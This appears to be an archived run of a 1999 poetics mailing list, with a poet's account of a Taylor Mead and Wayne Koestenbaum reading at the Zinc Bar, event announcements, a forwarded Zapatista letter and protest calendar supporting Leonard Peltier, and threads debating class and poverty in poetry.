The line is long to say hi and get his new Coffee House Press book signed, so I wait on the side, trade zines with Anna May from Tribes, and then say hello to Quincy, who places me back at Naropa, outside on the iron tables, eating lunch and talking poetry. I have him sign Booglits for archives, first issue with him on the cover, and fourth one, on baseball, with his "Poem for My Father" inside, about his dad, the third greatest Negro League's catcher ever, and the league's chief archivist, each of which I've given him before but he says "I've never seen this one, or this one either," before I hit him up to do a limited edition chapbook.

Split at 5:15pm to meet cousin for Kosher Indian food in Gramercy Park, but answering machine call says plans are off, so I head to Two Boots for a mushroom-and-peppers slice, before busing over to the Zinc Bar for Taylor Mead gig.

Taylor always entertains me, whether at the annual New Year's reading at St. Mark's Church or on-line at the Chase Manhattan ATM on Broadway just above Houston. Get to Zinc real early, 6:30 for 6:37 reading (Lorber-time), drop stuff on couch in front of where the mic will be set-up, and wait for the crowd to gather, as the readings here never begin before 7pm. Lungfull editor Brendan

Lorber shows up about 15 minutes later, and I tell him he should put together a Zinc Bar Reader like the KGB Bar did for their reading series, and 10 minutes after that his co-curator Douglas Rothschild and him are talking near the sound equipment about the yet to arrive Taylor Mead. "I talked to him on Wednesday," Brendan says. A few minutes later Taylor shows up. I remind David Cameron as we order drinks at the bar--red wine for him a Vodka gimlet straight up for me--that we were the first two readers at the Zinc Bar, back in March of 1997 when the series left Biblio's Books, and he says he can't remember that, and that I have a good memory.

I'd heard of Wayne Koestenbaum before, but didn't know his work at all. It's what's nice about the Zinc Bar series, this colliding of all sorts of names and schools of writing, where most of the time I don't even know the authors, but all of the time I end up hearing good work. Tonight's no different, as now I feel like I want to be a Wayne Koestenbaum groupie. He reads pop culture-laced pieces, dropping mentions of dead ’50s icons, opera stars, and mythical characters, taking us into this world inhabited by the beautiful, the dead, and his varying forms. The entire time, Lisa Lubasch's face, always glowing, is damn near incandescent , her dim hysterical reflection glistening back to me in the mirrors alongside the reader.

Taylor Mead has his boombox with him, always. He comes up to the stage with his cane. "I walk 60 blocks a day with this thing," he says. Brendan offers to get him a stool as Taylor tries to configure himself and his work behind the music stand, dropping poems on the couch next to Brendan, reading catty, but good, work about Warhol and how he treated Taylor and the other superstars in the Factory and an ode to the century. His memory is perfect, as he recants stories of old films and interactions, of letters to The Village Voice in response to critics who say they don't want to see two hours of Taylor Mead's ass on the screen, and then how he and Andy made their next movie "Taylor Mead's Ass," and of Giorno's "Sleep" actually being only 10 minutes long, but being looped endlessly.

Brendan helps Taylor turn pages, and after one piece, Taylor asks Brendan to put his finger right here, pointing to a page behind the music stand. As Brendan places his finger there, Taylor goes "Oh, you bad boy," a mischievous look in his ruffled brow, as everyone laughs, before Taylor reads one last piece, his music blaring some sort of Charleston-sounds, as the crowd asks for an encore, and he delivers it one more time, this time changing the spring to winter.

I say quick hello to Jen Robinson, her hair now real long after a year plus of MFA study at Brooklyn College, before she heads off to Brooklyn with Cameron, and chat with Lee Ann Brown for a moment to give her a December 1 deadline for her year 2000 calendar, and then head to the door.

I say hello to Koestenbaum, as he, his boyfriend and Taylor chat over drinks at the bar, tell him I am a Kirschenbaum--cherry tree in German-- what is a Koestenbaum? Chestnut tree he says, as I smile, wave and split.

As ever,
David

_____ Get FREE voicemail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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294. Alan Sondheim
Opinion / Speedfactory (fwd)
Mon 15 Nov 1999

(From trAce online writing community)

Date: Mon, 15 Nov 1999 17:20:51 +0000
From: [redacted]
To: [redacted]
Subject: Opinion / Speedfactory

OPINION
"With my finger on the mouse I'm actively engaged in a physical relationship with what happens on the screen. I'm transfixed in the light of the monitor's path. A one-to-one contact, a to-and-fro 'relationship' that is unique, personal and seductive." Brought to you in conjunction with NOW99, Michael Atavar talks about Intimacy in the latest Opinion. Why not let us know your opinion! http://trace.ntu.ac.uk/opinion/

SPEEDFACTORY
Speedfactory is a fast, collaborative email writing project which will take place on 24 November, and is open to all trAce members.

Writers from around the world will email exactly 50 words to a partner, who will respond with exactly 50 words back within 20 minutes.

Speedfactory will be co-ordinated by trAce Writer-in-Residence Bernard Cohen and Terri-ann White (author of Deep Immersion), and is based on a project they've undertaken with critic McKenzie Wark and poet John Kinsella.

If you are interested, please email Bernard at [redacted] with details of your available times on the 24 November wherever you are in the world. If possible please translate into Greenwich Mean Time. Bernard and Terri-ann will try to pair you with someone on another continent. Alternatively, if you would prefer

to name your partner, please include this in your email - but do make sure you have their permission to do so!

Very close to the day, you will receive a trigger word. Then, as 24 November 1999 disappears from Earth forever, email the outcomes to Bernard... More information at http://trace.ntu.ac.uk/writers/cohen/speedfactory.htm Deep Immersion can be found at http://trace.ntu.ac.uk/deep/

trAce Online Writing Community
Nottingham Trent University
Clifton Lane
Nottingham NG11 8NS
ENGLAND
Tel: +[redacted] (direct line)
Fax: +[redacted]
http://trace.ntu.ac.uk
[redacted]

---

with 'unsubscribe' as the subject line.

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295. Poetics List
Smithson and Poetry (reading)
Mon 15 Nov 1999

It was requested that I forward the following message to the list. Chris

--

From: Emilie Clark <[redacted]>
Date: 11/12/99 5:54 AM -0500

Reading:

Heap of Language: Robert Smithson and Poetry

3 poets:
Tan Lin
Pamela Lu
Lytle Shaw

3 critics:
Gary Shapiro
Richard Sieburth
Eugenie Tsai

The Whitney Museum of American Art at Philip Morris
(120 Park Ave at 42nd Street)

Thursday, November 18 8pm (free)

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296. **Poetics List**
Anne Waldman and Bill Berkson at SPT, 11/19 / saidenberg
Mon 15 Nov 1999

---

had to reformat. Chris

--

From: jocelyn saidenberg <[redacted]>
Date: Sun, 14 Nov 1999 11:50:50 -0800

Small Press Traffic Reading

Friday, November 19, 7:30 p.m.
Anne Waldman
reading and interviewed by Bill Berkson

Anne Waldman makes a special appearance tonight in honor of Small Press Traffic's 25th anniversary. There's too much to say about Waldman! She's a poet, performer, teacher, Distinguished Professor of Poetics at the Naropa University where she founded the Jack Kerouac School of Disembodied Poetics with Allen Ginsberg in 1974. She has written over 30 books & pamphlets of poetry including Troubairitz, Kill or Cure, Iovis Books I & II, Young Mazhattan (with Bill Berkson). Forthcoming from Penguin Poets is her new full-length poem, Marriage: A Sentence. In addition, she is a noted editor, with many publications including Disembodied Poetics: Annals Of The Jack Kerouac School with Andrew Schelling and The Beat Book. Winner of the Shelley Memorial Prize, she has made collaborative projects recently with artists GeorgeSchneeman, Susan Rothenberg & Richard Tuttle, and is currently guest director of the Schule fur Dichtung in Vienna, Austria. She has never given the same reading twice, so we don't know quite what to expect, but the hot money says that you've never felt anything like the roller-coaster of swoops, dives, tremolo, atman, fire-walking, fast talking, seven elements of history, myth, gossip, magic, enchantment and theatrical power that you will hear tonight.

She will be interviewed by the poet Bill Berkson, author of ten books of poetry, including Saturday Night: Poems 1960-61, Recent Visitors, Enigma Variations, Blue is the Hero and Lush Life. Mr. Berkson, one of the premier poets of California, has taught and directed the public lectures program at the SF Art Institute since 1984. He plays well with others, vide his famous collaborations

with Frank O'Hara and Philip Guston, and so we are glad to be able to secure him to quiz his old associate, Anne Waldman.

New College Theater
777 Valencia Street, San Francisco
$5

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297. **Poetics List**
Re: Ochs/Hejinian/Dragomoschenko Collaboration
Mon 15 Nov 1999

For those living in chilly western New York,
northern Pennsylvania, eastern Ohio, southern
Ontario, etc.:

> *LETTERS NOT ABOUT LOVE, an hour long 16mm film based on a five year correspondence between the poets, features a striking score by Larry Ochs with additional music by Sergey Kuryokhin, glorious photography by James Livingston, and is narrated by actors Lili Taylor and Victor Nord.*

will be shown next

Wednesday, 1 December @ 4 pm

at the Center for Fine Arts Screening Room
North Campus of SUNY Buffalo

Chris

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298. **Philip Nikolayev**
Re: class, gender etc.
Mon 15 Nov 1999

Fair enough, Michael. But then again, it's a question of degree. Though some of us have certainly managed "experience hunger" in the US, some of us have also encountered forms of poverty elsewhere that are quite simply never seen in this country, and are impossible for most Americans even to imagine.

Cheers,
Philip Nikolayev

At 11:52 PM 11/12/99 -0500, Michael Neff wrote:
>Dear Masha,
>
>Go to Kentucky, look around, start there, see poor, dirt floors, rags and
>rust. "all be said"? I don't think so. There are tens of millions of

poor in
>this country.
>
>Commence to ciphering.
>
>MN
>
>Maria L. Zavialov wrote:
>
>> Discussing class it's good to remember WHERE this discussion is taking
>> place. Place, I mean a geographic spot or location, is
>> another aspect (like gender) that should be introduced into the discussion.
>> I mean location in terms of its economic situation. Thus the inhabitants of
>> the US can all be said to belong to the upper class if viewed from a poor
>> Asian country. One should try hard to stay hungry in the US, isn't one? The
>> same goes for different locations within one and the same country. Like in
>> Russia a native of Moscow coming to St. Petersburg is automatically moving
>> one step up on the social ladder. And when he comes to a small
>> provincial town he is already two steps up. And in a village... oh, in a
>> village he (yes, he) is a guru.
>>   Masha Z.
>
>--
>
>
>
>
>==========
>Web Del Sol
>http://webdelsol.com
>LOCUS OF LITERARY ART ON THE WWW
>

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299. Al Filreis
Re: question
Mon 15 Nov 1999

|
| hello al ~
|
| if/when you get a moment, would you please direct me to info on the philly

| poetics list? i was told to look on the writers house page - which i did to
| no avail.
|
| thanks in advance/apologies for taking your time,
| hassen
|

I added Hassen, and would point out to all those on the list: if you are in the Philadelphia area we'd be happy to add you to the Writers House-based discussion list for poets.

--Al Filreis

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300. **Judy Schwartz**
Re: HIGHWIRE READING
Mon 15 Nov 1999

Can you tell me if the highwire reading is at 3 o'clock or 8 o'clock this week? Thanks! --Judy

↑ Index

301. **Susan Wheeler**
The New Yorker magazine dated 8/22/99
Mon 15 Nov 1999

---

on the stands now has, on page 189, instructions on voting in its "best books of 1999" contest, to be decided by readers. One can only vote once, should one choose to vote. The choices in poetry are:

Of No Country I Know - David Ferry
Vita Nova - Louise Gluck
The Constructor - John Koethe
Poems - J.H. Prynne
The Pilot Star Elegies - Sherod Santos

I can only urge you to vote, so that the range for next year's contest might be even greater --

Apparently you can also vote by calling [redacted] or going to www.newyorker.com -- although I've tried neither.

Susan

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302. David Baptiste Chirot

[Cuba SI] FW: To Leonard Peltier from Subcomandante Marcos (fwd)

Mon 15 Nov 1999

Throughout November, Native American from around the country will gather in Washington, D.C. to demand that President Clinton grant executive clemency to Leonard Peltier, a Native American leader who has been in prison for 23 years for a crime he did not commit.

In April Amnesty International declared Mr. Peltier a political prisoner and called for his immediate and unconditional release. Over the years, humanitarian figures such as the Reverend Jesse Jackson, the South African Arch Bishop Desmond Tutu, and the Dalai Lama have made similar calls. Now, the EZLN and Subcomandante Marcos are echoing the plea for Mr. Peltier's freedom.

To learn more about the details of Mr. Peltier's case, why so many people are petitioning for his freedom, and how you can help, go to the Leonard Peltier Defense Committee's website at
http://members.xoom.com/freepeltier/index.html

Subject: To Leonard Peltier from Subcomandante Marcos

Ejército Zapatista de Liberación Nacional México

October of 1999

For: Leonard Peltier

From: Subcomandante Insurgente Marcos

Leonard,

Through the NCDM and Cecilia Rodriguez we extend greetings from the men, women, children and elders of the Zapatista Army of National Liberation.

Cecilia has told us about the grave injustice the North American judicial system has committed against you. We understand that the powerful are punishing your spirit of rebellion and your strong fight for the rights of indigenous people in North America.

Stupid as it is, the powerful believe that through humiliation, arrogance and isolation it can break the dignity of those who give thoughts, feelings, life and guidance to the struggle for recognition and respect for the first inhabitants of the land over whom, the vain United States has risen. The heroic resistance that you have maintained in prison, as well as the broad movement of solidarity, that your case and your cause have motivated in the U.S. and the world reveal their mistake.

Knowing of your existence and history, no woman or man if they are honest and conscious can remain silent before such a great injustice. Nor can they remain still in front of a struggle, which like all that is born and grows from below, is necessary, possible, and true.

The Lakota, a people who have the honor and fortune to have you among their blood, have an ethic that recognizes and respects the place of all people and things, respects the relations that mother earth has with herself and mother living things that live and die within her and outside of her. An ethic that recognizes generosity as a measure of human worth, the walk of our ancestors and our dead along the paths of today and tomorrow, women and men as part of the universe that have the power of free will to choose paths and seasons, the search for harmony and the struggle against that which breaks and disorders it. All of this, and more that escapes because we are so far away, has a lot to teach the “western” culture which steers, in North America and in the rest of the world, against humanity and against nature.

Probably the determined resistance of Leonard Peltier is incomprehensible to the Powerful in North America, and the world. To never give up, to resist, the powerful call this “ foolishness”. But the foolish are in every corner of the world, and in all of them, resistance flourishes in the fertile ground of the most ancient history.

In sum, what the powerful fail to understand is not only Peltier’s resistance, but also the entire worlds, and so they intend to mold the planet into the coffin the system represents, with wars, jails and police officers.

Probably, the powerful in North America think that in jailing and torturing Leonard Peltier, they are jailing and torturing one man.

And so they don’t understand how a prisoner can continue to be free, while in prison.

And they don’t understand how, being imprisoned, he speaks with so many, and so many listen.

And they don’t understand how, in trying to kill him, he has more life.

And they don’t understand how one man, alone, is able to resist so much, to represent so much, to be so large.

“Why?” the powerful ask themselves and the answer never reaches their ears:

Because Leonard Peltier is a people, the Lakota, and it is impossible to keep a people imprisoned.

Because Leonard Peltier speaks through the Lakota men and women who are in themselves and in their nature the best of mother earth.

Because the strength that this man and this people have does not come from modern weapons, rather it comes from their history, their roots, their dead.

Because the Lakota know that no one is more alive than the dead.

Because the Lakota, and many other North American Indian people, know that resisting without surrender not only defends their lives and their liberty, but also their history and the nature that gives them origin, home, and destiny.

Because the great ones always seem so small to those who can not see the history that each one keeps inside.

Because the racism that now governs can only imagine the other and the different in jail…or in the trashcan, where two Lakota natives were found last month, murdered, in the community of Pine Ridge. This is justice in North America: those who fight for their people are in jail, those who despise and murder walk unpunished.

What is Leonard Peltier accused of?

Not of a crime he didn’t commit. No. He is accused of being other, of being different, of being proud to be other and different.

But for the Powerful, Leonard Peltier’s most serious “crime” is that he seeks to rescue in the past, in his culture, in his roots, the history of his people, the Lakota. And for the powerful, this is a crime, because knowing oneself with history impedes one from being tossed around by this absurd machine that is the system.

If Leonard Peltier is guilty, than we are all guilty because we seek out history, and on its shoulders we fight to have a place in the world, a place of dignity and respect, a place for ourselves exactly as we are, which is also, very much as we were.

If the Indian people of the North and Indian people of México, as well as the indigenous people of the entire continent, know that we have our own place (being who we are, not pretending to be another skin color, another tongue, another culture), what is left is that other colors that populate the entire world know it. And what is left is for the powerful to know it. So that they know it, and learn the lesson so well that they won’t forget, many more paths and bridges are needed that are walked from below.

On these paths and bridges, you, Leonard Peltier, have a special place, the best, next to us who are like you.

Salud, Leonard Peltier, receive a hug from one who admires and respects you, and who hopes that one day you will call him "brother".

Vale, and health to you and I hope that injustice disappears tomorrow, with yesterday as a weapon and today as a road.

> *From the mountains of the Mexican Southeast,*

Subcomandante Insurgente Marcos
México, October 1999

_____ Global Exchange http://www.globalexchange.org unsubscribe in the body of the message.

Imagine a credit card with a 0% Intro APR and Instant Approval... It seems impossible, but it's not. Visit GetSmart.com's Credit Card Finder and click on instant approval cards right now at http://clickhere.egroups.com/click/1272

Cuba SI: http://www.egroups.com/group/cubasi/
Imperialism NO! Venceramos!
Information and discussion about Cuba.
Discussion of the path of Ernesto Che Guevara.

-- eGroup Home: http://www.egroups.com/group/cubasi/?m=1
-- Free email groups at eGroups.com

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303. David Baptiste Chirot
[Y4M] Leonard Peltier FREEDOM MONTH Calendar - SUPPORT LEONARD! (fwd)
Mon 15 Nov 1999

LEONARD PELTIER FREEDOM MONTH

The organizers of the month-long protest are in need of more blankets and food.

Below is part of the schedule of activities for the rest of November:
****

Saturday, November 13 Unity Day Free all political prisoners, stop racism, stop police brutality, respect the earth, dignity and respect for all life---Come listen to speakers from different organizations and movements who are coming together to help gain freedom for Leonard Peltier
****

Sunday, November 14 Reading from Leonard Peltier's new book, My Life Is My Sun Dance—Suzanne Harjo, Harvey Arden, and more TBA

Monday, November 15
Indigenous Voices
Arvol Looking Horse, Bear Lincoln, Billy Tayac, Suzanne Harjo and many more

(TBA) will come to talk about the history and current issues facing Native Peoples

Wednesday, November 17
Victims of FBI abuses
Come here testimony from people from all walks of life who will retell their harrowing experiences with FBI abuses and misconduct--Speakers TBA

Thursday, November 18
Still No Justice
Thousands of petitions and letters of support to be delivered to the Clinton Administration

Sunday, November 21
People of Faith for Justice
Churches show support for Leonard Peltier

Tuesday, November 23
Women for Justice
The Indigenous Women's Network, Rigoberta Menchu, the Colorado Sisters, Jennifer Harbury, Jean Day, Pemina Yellow Bird, and more (TBA) come to speak and show support for Leonard Peltier

Wednesday, November 24
Gathering of the Drums
Call to all Indigenous drum groups

****

Thursday, November 25 CLOSING--Leonard Peltier Freedom Month--Vigil and closing prayer ceremony 5pm-8pm--come thank the fasters and show solidarity during the "Thanksgiving" holiday. (Meanwhile--Plymouth Rock--Day of Mourning sponsored by United American Indians of New England.)
****

NOTE: The dates listed inside of the asterisks are important days to mobilize crowds. If you are able to come to DC during any part of November, please include one or more of these days in your schedule if possible, and bring your friends. Every day of November will include a morning prayer ceremony lead by David Chief, drumming, singing, and various other cultural activities. Every evening a candlelight vigil will be held unless other activities are being conducted at night. All activities listed will be conducted at the Ellipse Park (behind the White House), the Lafayette Park (In front of the White House), or at an indoor location close by.

We will release the times, speakers, exact locations and performers as plans develop contact the LPDC for any questions or for more information. Alcohol and drugs will be prohibited.

Leonard Peltier Defense Committee
PO Box 583
Lawrence, KS 66044
[redacted]
http://members.xoom.com/freepeltier/index.html

FREE LEONARD PELTIER !

Looking for the hottest sports memorabilia or sporting goods=20 specials?
eBay has thousands of trading cards, sports autographs=20 and
collectibles.You never know what you might find at eBay!=20
http://clickhere.egroups.com/click/1143

Stop the execution! New trial for Mumia!
Youth & Students for Mumia
www.peoplescampaign.org * [redacted]

eGroup Home: http://www.egroups.com/group/youth-4-mumia/
http://www.egroups.com - Simplifying group communications

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304. Aaron Fewell
Re: class, gender etc.
Mon 15 Nov 1999

In a message dated 11/15/99 2:26:20 PM Eastern Standard Time, [redacted]
writes:

<< Dear Masha,

Go to Kentucky, look around, start there, see poor, dirt floors, rags and
rust. "all be said"? I don't think so. There are tens of millions of poor
in
this country.
>>

Let's specify here. Go to far Eastern Kentucky, Appalachia to be exact. The
entire state is not comprised of the above picture.

Aaron Keith

↑ Index

305. David Zauhar
Re: The New Yorker magazine dated 8/22/99
Mon 15 Nov 1999

On Mon, 15 Nov 1999, Susan Wheeler wrote:

> *Of No Country I Know - David Ferry*
> *Vita Nova - Louise Gluck*
> *The Constructor - John Koethe*
> *Poems - J.H. Prynne*
> *The Pilot Star Elegies - Sherod Santos*
>
> *I can only urge you to vote, so that the range for next year's contest might be even greater --*
>
> *Apparently you can also vote by calling* [redacted] *or going to www.newyorker.com -- although I've tried neither.*

You can in fact vote from the website, though unfortunately there is no slot for "none of the above." Thank gods those weren't the only five books published this year.

Dave Zauhar

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306. Safdie Joseph
Re: Watten DuPlessis Writers House webcast
Mon 15 Nov 1999

Not sure if I'm one of the lucky 35 but I'd like to peek in, Al . . .

Joe Safdie

From: Al Filreis [mailto:[redacted]]
Sent: Friday, November 12, 1999 8:33 AM
To: [redacted]
Subject: Watten DuPlessis Writers House webcast

PhillyTalks at the Kelly Writers House

with Barrett Watten & Rachel Blau DuPlessis

Monday November 15

beginning at 6 PM eastern time

will be webcast live.

The first 35 people who respond to this invitation will be able to "connect" to the webcast signal--and then see and hear the program (and to pose questions or comments during the discussion).

-

relevant links (for further information):

PhillyTalks, founded & curated at the Writers House by Louis Cabri:
http://www.english.upenn.edu/~wh/phillytalks/

the Kelly Writers House:
http://www.english.upenn.edu/~wh/index.html

fall 1999 schedule of live webcasts, including recordings
of a conversation with Marjore Perloff & Bob Perelman on
Stein, a reading by Shawn Walker, and a symposium on
Williams's "To Elsie":
http://www.english.upenn.edu/~wh/webcasts/

the Writers House calendar:
http://www.english.upenn.edu/~wh/calendar/

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307. David Baptiste Chirot
Re: class, gender etc.
Mon 15 Nov 1999

---

two issues to address--

first, any one can be a poet

by that i mean--poetry knows no borders, among whom poetry comes to be an action

it is by its nature unexpected

i will give an illustration in the form of a story

(and it's all true, as they say)

a few years ago a friend sent me an article from the New Yorker magazine--
it was about the author's search for the place that Walt Whitman lived when he wrote the first edition of Leaves of Grass
(and a wise person here notes how important place is)
after much laborious research, the writer found the place
he knocked on the door in excitement--
a large Rastafarian Jamaican answered the door--
the author said, do you know a great poet lived here?
the Rastafarian answered--how do you know one doesn't live here now?

to me, that states the fact of poetry, that exists, behind any door any fellow human, any eyes you look into--these are part or not part of our struggle to be free

yet any eyes may hold in them poetry
the action and the perception and the listening of poetry

poetry may at times be the province of an elect--yet this is not true--
poetry is the province of the people

poetry is the voice not in vain

my second point, with permission Judge-- as they say--

there are areas in america as bad as any place
go visit a reservation for example
i spent a weekend with a dear friend here in Milwaukee last week--where he lives is like a Hell--
Leroi Jones wrote a great book about it--The System of Dante's Hell-
you can get on a bus and see it--
really--it costs a dollar thirty five and you can see Hell-
i've lived in 17 countries--and i never saw a worse place than america
if you are Black, Latino, Indian, you know--

yet if we work, in our poems, may we bring hope for our peoples

please believe me--poetry is not an esoteriscism, it is a form of action,a demand--
a demand to be free
for all
I hope you make an action this month for Leonard Peltier
Send a message at least to the addresses I sent
I am organizing an exhibit for Mr. Peltier here--please contribute
Hence poetry
is not in vain
respectfully
dave baptiste chirot
On Mon, 15 Nov 1999, Philip Nikolayev wrote:

> *Fair enough, Michael. But then again, it's a question of degree. Though some of us have certainly managed "experience hunger" in the US, some of us have also encountered forms of poverty elsewhere that are quite simply never seen in this country, and are impossible for most Americans even to imagine.*

Cheers,
Philip Nikolayev

At 11:52 PM 11/12/99 -0500, Michael Neff wrote:
Dear Masha,

Go to Kentucky, look around, start there, see poor, dirt floors, rags and rust. "all be said"? I don't think so. There are tens of millions of poor in
this country.

Commence to ciphering.

MN

Maria L. Zavialov wrote:

Discussing class it's good to remember WHERE this discussion is taking place. Place, I mean a geographic spot or location, is
another aspect (like gender) that should be introduced into the discussion. I mean location in terms of its economic situation. Thus the inhabitants of the US can all be said to belong to the upper class if viewed from a poor Asian country. One should try hard to stay hungry in the US, isn't one? The same goes for different locations within one and the same country. Like in Russia a native of Moscow coming to St. Petersburg is automatically moving one step up on the social ladder. And when he comes to a small provincial town he is already two steps up. And in a village... oh, in a village he (yes, he) is a guru.
Masha Z.

--

==========
Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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308. **Kathy Lou Schultz**
Re: Business, class, AMMIANO
Mon 15 Nov 1999

The majority of Americans will name themselves as "middle class" (despite external evidence to the contrary) which underscores the extent to which class is unnameable and invisible in this country. The homeless, the poor and elderly, the rural poor, the working poor are all examples of invisible classes. It's part of what makes it possible for the "what are you talking about class for -- you're an American so shut up" argument to arise repeatedly. Yes, we are definitely a "super power" "first world" nation, but inside our borders many live in "third world" conditions. See, for example, the infant mortality rate in inner cities. ^^^

inoperative" assumptions about the category of "black poetry" which expect that "black writing" is (to quote again from Mullen) "constituted around the central idea of textualized orality, or 'the speakerly text'." (See also, Aldon Nielsen's excellent work _Black Chant_.) Hunt and Alexander's work also complicates and interrogates the notion of "black identity;" this doesn't mean that they don't write "about" class and race, or that they don't "mention the opposition." See Hunt, Local History: "In this was casualties multiply:one in four in prson, one in four unemployed, one in four with a habit, every square inch to be fought for. In the panic that is no solution, the police and the young guarantee one another employment; the ranks of each army swell" (38). This passage seems pretty clearly to "name" the "war at home" against African-American men, among other things.
^^^

into the triteness that often occurs in oppositional poetics. I can think of a few, but very few. Joy Harjo's work, Martin Espada's _City of Coughing and Dead Radiators_ most examples do not hold to multiple readings in the way that Neidecker's work or Alexanders does. Rachel Loden's new book is one of the only recent books I've read that directly attacks the US socio-political situation and remains intact for multiple readings.

Jill, if you check back through my posts, I did not state that lack of access to opportunities does not occur, I made pains to maintain my writing in "I" based statements, when mass assumptions were made & I knew they did not fit me, I went outside of these confines to include some other individual writers. Never was there a "we" intended. I did not address women & class, which is not an oversight, I do not have personal experience and assume others here would address the subject.

Don Wellman (lilliput?) & Dodie bring up something that I wonder about, having done it a lot myself, especially in grad school. The act of overcompensation. Which seeing these posts together makes me wonder if this truth of, as Dodie states, "working class guys [having] a harder time assimilating into the middle class poetry world" is a section of this overcompensation. And I too have found it "intolerable that some people wish to rub my naivity in my face." The question from me is, when does one cross this line of overcompensation on the page? Inaccurate hearing of slang, use of the latinate, stating of the opposition?

And Joe Amato, I have always have admired your ability to get to the core of the matter, to get something learnable from it. I'll make an attempt to answer your post when there is more time, as, yes, it is a difficult subject to discuss, & my time to write impinged by physical labor today.

*As for David Larsen "Having no ambition myself to rise so high into 'the upper eschelons' of anything as to be unable to resist crapping on people a la Mr. Baratier," who "volunteers to serve as this list's spokesperson for lettuce-sorters --and, if need be, to pass your *civil* responses back to them." There seems to be an assumption that I made the lettuce sorting comment which is not the case. And *civil*, such as this one? I hope your aggression towards the target you believe me to be has made you feel better.*

Be well

David Baratier

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310. Kathy Lou Schultz
Hunt quote correction
Mon 15 Nov 1999

Should read: "In this war casualties multiply: one in four in prison, one in four unemployed, one in four with a habit, every square inch to be fought for. In the panic that is no solution, the police and the young guarantee one another employment; the ranks of each army swell" (38).

^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

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311. pete spence
Re: Weekend in New Orleans (part 5)
Mon 15 Nov 1999

>
> BERNADETTE
>
>at one point bernadette was talking about having her own cow for milk etc
>when i walked into the dining room at camille's and i remember everyone
>laughing a good bit about it >
>
well we do and its a lot better on your health than the
pasturised/homogenized garbage thats foisted on our lot!!!pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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312. derek beaulieu
call for contributions
Mon 15 Nov 1999

mo' gumbo poetry/art broadside seeks contributions

mo' gumbo is a weekly zine loosely affiliated with Mocambo Coffee Mocambopo poetry readings and open mike session which happens every friday in Victoria B.C. we are into our tenth week wanted: poetry
especially concrete
concrete
concrete
concrete
concrete

&& especially "pataphysical
&&& especially post-language
&&&& especially sound poetry texts
sound poetry texts
sound poetry texts
sound poetry texts
sound poetry texts
&&&&&& especially found poetry texts
&&&&&&& especially poetry theory texts
&&&&&& especially experimental poetry texts
&&&& especially visual poetry
&&&&& art of any kind
&&&
&&
&
&
send it to:
2367 Central Ave.
Victoria B.C.
V8S 2S3
(imp press)
ross priddle

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313. Dan Machlin

Mayer/Machlin Reading

Tue 16 Nov 1999

BERNADETTE MAYER

DAN MACHLIN

read

Thursday, November 18th, 7:30 p.m.

@

The Dactyl Foundation
for the Arts and Humanities
64 Grand Street
New York City
[redacted]
www.dactyl.org

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314. Alan Sondheim

Once More, with the Usual Feeling

Tue 16 Nov 1999

-

Once More, with the Usual Feeling

He's going to do it again, there will be some dismemberment, said Jenni- fer, said Julu, he's got all these attributions of talk, no one's really saying anything, he's trite, talking to himself, repetitious, it just goes on and on. Someone throws a bowling ball, said Alan, and down goes Julu.

Someone said something about being really tired and hadn't they heard that before, anyway, those who were left? People left the reading "in droves," although Nikuko (kill her!) had no idea how many that was. We're all tired said Doctor Leopold Konninger; Nikuko, the "famous Russian ballet dancer" (as if we didn't know!), was unable to wind down. Alan thought the narra- tive demanded this continuous state of being-in-motion on one hand, and the Doctor Leopold, on the other, rather static and uncomfortable in his wooden chair on the wooden floor.

For all I know, said Jennifer, a vowel change is imminent. It's a way of avoiding content, making a whole lot of noise. At this point the noise has become a signifier or trademark of Alan as well. It's as if everything conspires to guarantee the singularity of one text, written over and over again, each version equally correct, coherent, well-written, more or less, but without any sort of advance. Doctor Leopold Konninger, who came to me in a dream, said, Alan, concurs; I'm obsessed by these texts, I can't stop the texts, but it's almost as if they stop me.

A quotation from an obscure source, always askew to the point, "They will come for me, / their faces screened, / mouth-banners high, silk carvings / in or around the square shrine. / They will come for me, / banners of grey faces, / dusk-cloths, embrochures of stone / in or around the square shrine. / Follow the

earth's fold, / wary of legs caught in crevices, / in the air of autumn, / in the autumn air."

He's going to do it again, these stupid stupid voices, these broken limbs, blind flutterings about the womb. He's going to keep on going, they're massive, they're useless, they're glued together by a constant intensity, the repetition of a monologue insistent on building the world from word. His interest in programming is 'peculiar,' the minor satisfaction of out- put to some extent not his own - but he short-circuits this by insisting on writing his own. Everywhere, his own. His tentacles, Jennifer, Julu, Nikuko, Alan, his own. His blunt texts, his own. Doctor Leopold Konninger resists any temptation towards either the analytic or the therapeutic, and Doctor Leopold Konninger has killed.

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315. Todd Baron /*/ ReMap Readers

Re: earliest american poem

Tue 16 Nov 1999

Daniel Zimmerman wrote:
>
> How about the Lenni-Lenape _Walum Olum_?
>
>
> --Dan Zimmerman

thanks for imput
as to MYSTERY

what about the above--
I'm lost!

Todd Baron

↑ Index

316. Lowther, John

FW: [silence] Sonic Youth do Cage, Tenney, Wolff, et al

Tue 16 Nov 1999

{ p o e t i x etc}

(i pinched this off the silence list thinking some of you wd be interested)

> *Sonic Youth's new recording, "Goodbye 20th Century" comes out today. Unlike their more rock-oriented discs, this one contains pieces by*

> *John Cage (Four^6 and Six), Christian Wolff (Edges and Burdocks), Pauline Oliveros (Six for New Time for Sonic Youth), Takehisa Kosugi, James Tenney, Yoko Ono, Cornelius Cardew, Nicolas Slonimsky, George Maciunas, and Steve Reich. Guest performers include Wolff, Kosugi, Jim O'Rourke, William Winant, Christian Marclay, and others.*

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317. **levitsk**

Re: query,reminder

Tue 16 Nov 1999

That Pamela Lu is reading tonight.
172 Allen, Bluestocking Bookstore,
8:00//corner with Stanton St.

And wondering if someone has Brenda Shaughnessy's email, if she has one.

thanks
From: Joe Amato <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, November 15, 1999 11:32 AM
Subject: new anthology...

> *just rec'd news in the mail of what looks to be yet another interesting, and no doubt eyebrow raising, anthology, this time on oxford up no less (as most of you know, the same press that dropped of late their contemporary poetry series, despite public handwringing in the british parliament)... forthcoming december 1999, just in time for mla, y2k, etc.:*
>
> *_anthology of modern american poetry_*
> *ed. cary nelson*
> *1200 pp., paper, $45*
>
> *here's the list of the poets included (which is not meant to imply that all poets receive equal treatment, page-wise):*
>
> *-------*
>
> *walt whitman*
> *emily dickinson*
> *edwin markham*
> *sadakichi hartmann*
> *edgar lee masters*
